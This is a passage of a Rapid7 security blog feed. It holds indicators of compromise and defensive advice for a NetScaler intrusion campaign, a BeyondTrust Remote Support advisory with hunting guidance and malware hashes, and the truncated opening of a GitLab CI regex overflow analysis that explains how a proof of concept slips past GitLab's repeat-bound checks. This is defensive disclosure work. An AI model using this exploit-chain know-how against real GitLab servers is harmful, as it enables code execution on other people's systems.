style="width:55.50000000000001%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Indicator</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Notes</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>v5v.in</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2 domain used by nsvmd</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>209.74.64.192</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>C2 used by nsvmd</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>192.159.99.139</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>.slap C2, relay, reverse-agent and loot-upload infrastructure</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>213.209.159.55</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Stage server used to deliver /v, 1.sh/17447d.sh, and collect staged data</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>179.60.146.241</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>IP serving 1.sh</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>45.92.1.17</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>stage/loot infrastructure on port 30444</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>62.133.62.80</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>46.151.182.18</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>132.243.166.140</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>199.233.217.13</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>31.56.197.72</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>64.94.85.67</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>130.94.20.222</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>173.231.39.244</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload delivery</span></p></td></tr></tbody></table><p style="text-align: center;direction: ltr;"><span style='color:rgb(102, 102, 102);font-size: undefined;'><em>Table 4: Network indicators of compromise</em></span></p><h2 style="direction: ltr;">Rapid7 customers</h2><p style="direction: ltr;"><span style='font-size: undefined;'>YARA rules and more IoCs are available in Rapid7’s Intelligence Hub along with ongoing intelligence on the latest campaigns.</span></p><h2 style="direction: ltr;">Defensive recommendations</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Patch NetScaler appliances to the applicable CVE-2026-88779 and CVE-2026-88771 fixed builds and verify the earlier CTX697096 fixes.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Treat Internet-facing appliances as potentially compromised if they were vulnerable during the campaign window.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Collect volatile evidence before rebooting or rebuilding when compromise is suspected.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Inspect both nodes of every HA pair.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Hunt for the .slap, .relay and .nsvm paths.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Hunt for setuid /bin/sh, unauthorized Apache PHP handlers and CSS-looking aliases.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Search for nsaaad crashes, Pitboss reboots and ns_monuploadd_err.pl execution records.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Rotate all credentials and keys exposed through /nsconfig, including LDAP/RADIUS credentials and encryption-related material.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Review outbound traffic for the listed infrastructure and internal scanning from NetScaler source addresses.</span></p></li></ul><h2 style="direction: ltr;">Conclusion</h2><p style="direction: ltr;"><span style='font-size: undefined;'>This incident demonstrates how a NetScaler compromise can evolve from a pre-authentication injection into a persistent appliance-resident intrusion platform. The attacker combined web shells, setuid privilege persistence, outbound command execution, internal TCP tunnelling, HA manipulation, environment reconnaissance and automated configuration exfiltration.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The most significant new findings are the observed chaining of CVE-2026-88779 and CVE-2026-88771 and the dedicated reconnaissance workflow. Rather than using the ADC only as a foothold, the operator used it as a privileged vantage point to map internal networks, identity services, management infrastructure and virtualization systems. This provides defenders with additional high-value hunting opportunities and shows why patching alone is insufficient after an Internet-facing NetScaler has been exposed to active exploitation.</span></p><h2 style="direction: ltr;">Additional resources</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://www.cve.org/CVERecord?id=CVE-2026-88771"><span style='font-size: undefined;'>https://www.cve.org/CVERecord?id=CVE-2026-88771</span></a></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://www.cve.org/CVERecord?id=CVE-2026-88779"><span style='font-size: undefined;'>https://www.cve.org/CVERecord?id=CVE-2026-88779</span></a></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/"><span style='font-size: undefined;'>https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/</span></a></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/"><span style='font-size: undefined;'>https://www.rapid7.com/blog/post/etr-zero-day-exploitation-of-citrix-netscaler-adc-and-gateway-cve-2026-88771-and-cve-2026-88772/</span></a></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway"><span style='font-size: undefined;'>https://www.cisa.gov/news-events/alerts/2026/09/27/critical-zero-day-vulnerabilities-exploited-citrix-netscaler-adc-gateway</span></a></p></li><li style="direction: ltr;"><p style="direction: ltr;"><a href="https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/"><span style='font-size: undefined;'>https://unit42.paloaltonetworks.com/netscaler-zero-days-exploited/</span></a></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/ra-netscaler-intrusions-chaining-cve-2026-88771-and-cve-2026-88779</link>
      <guid isPermaLink="false">blt2ceccfca9edb1fab</guid>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Rapid7 Analysis]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category><dc:creator><![CDATA[Davide Massini]]></dc:creator>
      <pubDate>Mon, 19 Oct 2026 15:11:57 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltcbf09ec3af35e28e/6a15c63f08221ed5144dbf77/webinar-rapid7-logo.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-102764: Critical BeyondTrust Remote Support Authentication Bypass Exploited in the Wild]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 15, 2026, BeyondTrust </span><a href="https://www.beyondtrust.com/trust-center/security-advisories/bt26-05"><span style='font-size: undefined;'>disclosed</span></a><span style='font-size: undefined;'> a critical authentication bypass in </span><a href="https://docs.beyondtrust.com/rs/docs/on-prem-security"><span style='font-size: undefined;'>Remote Support (RS)</span></a><span style='font-size: undefined;'>, its platform for remotely troubleshooting and administering endpoints. Tracked as </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-102764/"><span style='font-size: undefined;'>CVE-2026-102764</span></a><span style='font-size: undefined;'> and assigned a CVSSv4 score of </span><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.3</span></a><span style='font-size: undefined;'>, the vulnerability allows unauthenticated remote attackers to perform file operations on an affected appliance without user interaction. Versions </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.2.3</span><span style='font-size: undefined;'> and earlier are affected unless the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>BT26-05-RS</span><span style='font-size: undefined;'> patch has been applied.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>BeyondTrust has confirmed that exploitation in the wild has already occurred prior to disclosure. Its </span><a href="https://www.beyondtrust.com/blog/entry/bt26-05"><span style='font-size: undefined;'>October 16 report</span></a><span style='font-size: undefined;'> dates the two known Remote Support compromises to August 29, 2026: one BeyondTrust-hosted instance and one self-hosted appliance. BeyondTrust discovered and contained the hosted compromise on September 28; Mandiant </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust"><span style='font-size: undefined;'>shared</span></a><span style='font-size: undefined;'> corroborating findings from the self-hosted investigation on September 30.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 16, 2026, CVE-2026-102764 was </span><a href="https://www.cisa.gov/news-events/alerts/2026/10/16/cisa-urges-patching-critical-vulnerability-beyondtrust-remote-support"><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. CISA's </span><a href="https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"><span style='font-size: undefined;'>official KEV feed</span></a><span style='font-size: undefined;'> lists an October 19, 2026 due date and marks forensic triage as required. Rapid7 recommends remediating affected appliances on an emergency basis and investigating RS appliances for prior compromise.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>BeyondTrust's remote access products have previously been targeted earlier this year. Rapid7 </span><a href="https://www.rapid7.com/blog/post/etr-cve-2026-1731-critical-unauthenticated-remote-code-execution-rce-beyondtrust-remote-support-rs-privileged-remote-access-pra/"><span style='font-size: undefined;'>covered</span></a><span style='font-size: undefined;'> </span><a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-1731/"><span style='font-size: undefined;'>CVE-2026-1731</span></a><span style='font-size: undefined;'>, which was added to KEV in February 2026.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>According to the vendor's CVE record, internal Remote Support components inadequately validate the origin of incoming messages, permitting file operations on the appliance. The flaw is classified as authentication bypass by spoofing (</span><a href="https://cwe.mitre.org/data/definitions/290.html"><span style='font-size: undefined;'>CWE-290</span></a><span style='font-size: undefined;'>). BeyondTrust is </span><a href="https://www.beyondtrust.com/blog/entry/bt26-05"><span style='font-size: undefined;'>withholding exploitation details</span></a><span style='font-size: undefined;'> while customers apply patches.</span></p><p style="direction: ltr;"><a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust"><span style='font-size: undefined;'>Mandiant's investigation</span></a><span style='font-size: undefined;'> describes arbitrary file uploads, deployment of the SAWFLY PHP web shell and BARECLAW tunneler, root escalation, attempted credential-vault extraction, persistence, and log deletion. Mandiant attributes the activity to ARMORY CASTLE, a suspected PRC-nexus espionage actor formerly tracked as UNC5221.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A vendor-provided patch is available. Rapid7 strongly recommends that organizations running affected self-hosted Remote Support appliances apply it on an emergency basis, outside of normal patching cycles.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Per </span><a href="https://www.beyondtrust.com/trust-center/security-advisories/bt26-05"><span style='font-size: undefined;'>BeyondTrust's advisory</span></a><span style='font-size: undefined;'>:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Affected versions:</strong></span><span style='font-size: undefined;'> Remote Support </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.2.3</span><span style='font-size: undefined;'> and earlier, unless the patch has been applied.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Remediation:</strong></span><span style='font-size: undefined;'> Apply the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>BT26-05-RS</span><span style='font-size: undefined;'> patch, available for versions </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.3.1</span><span style='font-size: undefined;'> through to</span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.2.3</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Older deployments:</strong></span><span style='font-size: undefined;'> Instances older than </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.3.1</span><span style='font-size: undefined;'> require an upgrade to a patch-supported version followed by application of the patch.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Self-hosted deployments:</strong></span><span style='font-size: undefined;'> Confirm installation through the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/appliance</span><span style='font-size: undefined;'> interface. Apply the patch manually if automatic updates are not enabled.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>SaaS deployments:</strong></span><span style='font-size: undefined;'> BeyondTrust states that all Remote Support SaaS customers were patched as of October 9, 2026.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Note: BeyondTrust also </span><a href="https://www.beyondtrust.com/blog/entry/bt26-05"><span style='font-size: undefined;'>recommends immediate patching of self-hosted Privileged Remote Access (PRA)</span></a><span style='font-size: undefined;'> because it shares the affected code. The vendor has not identified a way to exploit this vulnerability in PRA. PRA customers should confirm the appropriate patch with BeyondTrust Support.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 strongly recommends investigating for compromise even after patching. </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust"><span style='font-size: undefined;'>Mandiant recommends</span></a><span style='font-size: undefined;'> preserving evidence before changes or reboots, isolating suspected appliances, and rebuilding from a clean, fully patched image if compromise is confirmed or cannot be ruled out. Organizations should rotate stored or brokered credentials after patching or rebuilding, and review administrative changes and downstream sessions. Credential and configuration reviews also apply to SaaS customers. Patching does not remove persistence.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to the vendor's </span><a href="https://www.beyondtrust.com/trust-center/security-advisories/bt26-05"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'>.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Artifacts, evidence sources, and IOCs</span></h3><p style="direction: ltr;"><a href="https://www.beyondtrust.com/blog/entry/bt26-05"><span style='font-size: undefined;'>BeyondTrust recommends</span></a><span style='font-size: undefined;'> hunting for the following behaviors:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Unrecognized administrative sessions from residential broadband or commercial VPN addresses.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Unexpected scripts in web directories or shells spawned by web service accounts.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Unauthorized account, permission, or session-policy changes, particularly to Jump Items or Teams.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Gaps in log forwarding bounded by a single session.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor cautions that infrastructure and tooling vary between victims; an absence of known indicators does not establish that an appliance is uncompromised. BeyondTrust customers can request an additional hunting package through its </span><a href="https://trustportal.beyondtrust.com/"><span style='font-size: undefined;'>trust portal</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations should forward appliance events to an external SIEM using BeyondTrust's </span><a href="https://docs.beyondtrust.com/rs/docs/syslog"><span style='font-size: undefined;'>syslog guidance</span></a><span style='font-size: undefined;'> and preserve existing external logs. Enabling forwarding now cannot recover previously deleted evidence.</span></p><p style="direction: ltr;"><a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust"><span style='font-size: undefined;'>Mandiant identified evidence</span></a><span style='font-size: undefined;'> in access, syslog, messages, thin-scc, brain, and SSL logs. Customers should coordinate host-level log and artifact inspection with BeyondTrust Support; they cannot audit the appliance host filesystem.</span></p><p style="direction: ltr;"><a href="https://cloud.google.com/blog/topics/threat-intelligence/armory-castle-exploits-beyondtrust"><span style='font-size: undefined;'>Mandiant's report</span></a><span style='font-size: undefined;'> includes the file indicators below and separate YARA rules:</span></p><p></p><table><colgroup data-width='750'><col style="width:23.717948717948715%"/><col style="width:27.884615384615387%"/><col style="width:48.3974358974359%"/></colgroup><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Filename</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Description</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>SHA-256</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>mangoapi.php</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>SAWFLY web shell</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>dc14e215269a93fdbc4c1a80b984c23faf7af0911c6dbb85309796a6f2ae95fb</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>ingredi_ws</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>BARECLAW tunneler</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>1f19b9a27d79c11bda00a1e8faf74a7fdd683d38ccef1b60df2fd0307e3aa462</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Additional artifacts include </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/usr/bin/dbus-authd</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/home/bomgar/sbin/post_boot.d/zz-root-persist</span><span style='font-size: undefined;'>, and an unauthorized </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/uidchanarge</span><span style='font-size: undefined;'> route in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/ns/config/haproxy.conf</span><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-102764 with an authenticated vulnerability check expected to be available in the October 20 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 19, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-102764-critical-beyondtrust-remote-support-authentication-bypass-exploited-in-the-wild</link>
      <guid isPermaLink="false">blte84c02672c59d878</guid>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 19 Oct 2026 14:34:04 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Rapid7 Analysis: GitLab CI/CD Regex Integer Overflow (CVE-2026-97229)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 12, 2026, GitLab released </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.4.2</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3.5</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2.8</span></span><span style='font-size: undefined;'> to fix </span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-97229"><span style='font-size: undefined;'>CVE-2026-97229</span></a><span style='font-size: undefined;'>, an integer overflow in its CI/CD regular-expression handling. The issue was reported through HackerOne by </span><a href="https://x.com/joaxcar"><span style='font-size: undefined;'>joaxcar</span></a><span style='font-size: undefined;'>. GitLab assigned it a CVSS score of 10.0 and described possible code execution by an unauthenticated user.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The </span><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-4-2-released/#cve-2026-97229---integer-overflow-issue-in-cicd-regular-expression-compiler-impacts-gitlab-ceee"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> states that CVE-2026-97229 affects GitLab CE and EE from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.2.8</span></span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.3.5</span></span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.4</span></span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>19.4.2</span></span><span style='font-size: undefined;'>. GitLab says all deployment types are affected unless stated otherwise. GitLab.com was patched before disclosure, and Dedicated customers do not need to act.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 researchers developed an </span><a href="https://github.com/jburgess-r7/CVE-2026-97229-PoC"><span style='font-size: undefined;'>end-to-end PoC</span></a><span style='font-size: undefined;'> that reliably runs arbitrary commands as GitLab's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>git</span></span><span style='font-size: undefined;'> operating-system account on the official Linux amd64 </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>gitlab/gitlab-ce:19.4.1-ce.0</span></span><span style='font-size: undefined;'> image with ASLR enabled. GitLab's release notes do not report exploitation in the wild occurring at the time of disclosure.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>This analysis covers one end-to-end route. It begins after an attacker has pushed both the malicious CI configuration and a specially named path to a public project; only the final CI lint request is unauthenticated. That prerequisite conflicts with GitLab's </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>PR:N</span></span><span style='font-size: undefined;'> rating, and because the underlying report remains private, we do not yet know how the reported attack avoids it.</span></p><h2 style="direction: ltr;">Technical analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>At a high level, the chain crosses from attacker-controlled repository input into Onigmo pcode and finally native code execution.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5babad0f96abf514/6ad22875f822dc00cd804aa0/figure1.jpg" alt="Figure 1" caption="Figure 1: From repository inputs to command execution." height="897" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Figure 1" width="837" max-width="837" max-height="897" style="max-width: 837px; width: 837px; max-height: 897px; height: 897px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5babad0f96abf514/6ad22875f822dc00cd804aa0/figure1.jpg" data-sys-asset-uid="blt5babad0f96abf514" data-sys-asset-filename="figure1.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 1: From repository inputs to command execution." data-sys-asset-alt="Figure 1" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: From repository inputs to command execution.</figcaption></div></figure><p><span style='font-size: undefined;'></span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>CI rules pass repository paths to Onigmo</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>GitLab supports regular-expression matching over repository paths in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>rules:exists:regexp</span></span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>rules:changes:regexp</span></span><span style='font-size: undefined;'>. One way to evaluate such an expression during static configuration processing is to place it on a conditional include:</span></p><p></p><pre language="ruby">include:
  - local: /benign.yml
    rules:
      - exists:
          regexp: "ATTACKER_PATTERN"</pre><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>RegexpMatcher</span></span><span style='font-size: undefined;'> expands the expression, compiles it with Ruby's native regular-expression engine, and tests it against paths from the selected Git worktree:</span></p><p></p><pre language="ruby"># Exists#regexp_match?()
def regexp_match?(context)
  matcher = regexp_matcher(context)  matcher.validate_pattern_length! # [0] Source-length check

  Gitlab::SafeRequestStore.fetch(regexp_comparison_key(context, matcher.expanded_pattern)) do
    # ... top-level optimisation omitted
    matcher.match?(worktree_paths(context, false)) # [1] Repository paths
  end
end

# RegexpMatcher#match?()
def match?(paths)
  # ... path-count fail-open handling omitted
  pattern = compile_pattern # [2] Compile regexp
  deadline = current_monotonic_time + REGEXP_TOTAL_TIMEOUT_SECONDS

  paths.any? do |path|
    # ... total-budget check omitted
    pattern.match?(path) # [3] Native match
    # ... per-match timeout handling omitted
  end
end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>By the time execution reaches </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[0]</span></span><span style='font-size: undefined;'>, GitLab is checking only the length of the expanded source expression. The call at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[1]</span></span><span style='font-size: undefined;'> supplies every filename in the selected commit, while </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>compile_pattern</span></span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[2]</span></span><span style='font-size: undefined;'> ultimately invokes </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Regexp.new</span></span><span style='font-size: undefined;'>. Each iteration at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[3]</span></span><span style='font-size: undefined;'> therefore crosses from CI configuration into native </span><a href="https://github.com/k-takata/onigmo"><span style='font-size: undefined;'>Onigmo</span></a><span style='font-size: undefined;'> with a repository path as the match subject.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Smuggling a large repeat through the checks</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>GitLab places several sensible limits around CI regular expressions. The interesting parts of its wrapper are shown below:</span></p><p></p><pre language="ruby">REPEAT_BOUND = /(?&lt;!\\)(?:\\\\)*\{\s*(\d+)\s*(?:,\s*(\d+)?\s*)?\}/ # [4] Repeat scanner

def self.compile_regexp(pattern, timeout: nil)
  raise RegexpError, 'uses a subroutine call (\g), which is not allowed' if SUBROUTINE_CALL.match?(pattern) # [5] Subroutine-call check
  reject_large_repeats!(pattern) # [6] Repeat-bound check

  alternation_free = pattern.gsub(ESCAPE_OR_ALTERNATION) { |token| token == '|' ? '\\|' : token }

  probe =
    begin
      Regexp.new(alternation_free)
    rescue RegexpError =&gt; e
      # ... error-message rewriting omitted
    end

  check_compiled_size!(probe) # [7] Probe size check
  check_compiled_size!(Regexp.new(pattern, timeout: timeout)) # [8] Final size check
end</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The source-length check occurs before this function. The subroutine-call check at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[5]</span></span><span style='font-size: undefined;'> and the repeat-bound check at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[6]</span></span><span style='font-size: undefined;'> defend against structural growth, but the scanner at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[4]</span></span><span style='font-size: undefined;'> recognizes only contiguous digits. Compilation then happens twice: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[7]</span></span><span style='font-size: undefined;'> checks an alternation-free probe, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>[8]</span></span><span style='font-size: undefined;'> checks the requested expression and attaches the 50-millisecond timeout. Either object is rejected if it exceeds one megabyte.</span></p><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The PoC hides its quantifier bound from the scanner at </span><span style='color:rgb(24, 128, 56);font-size: 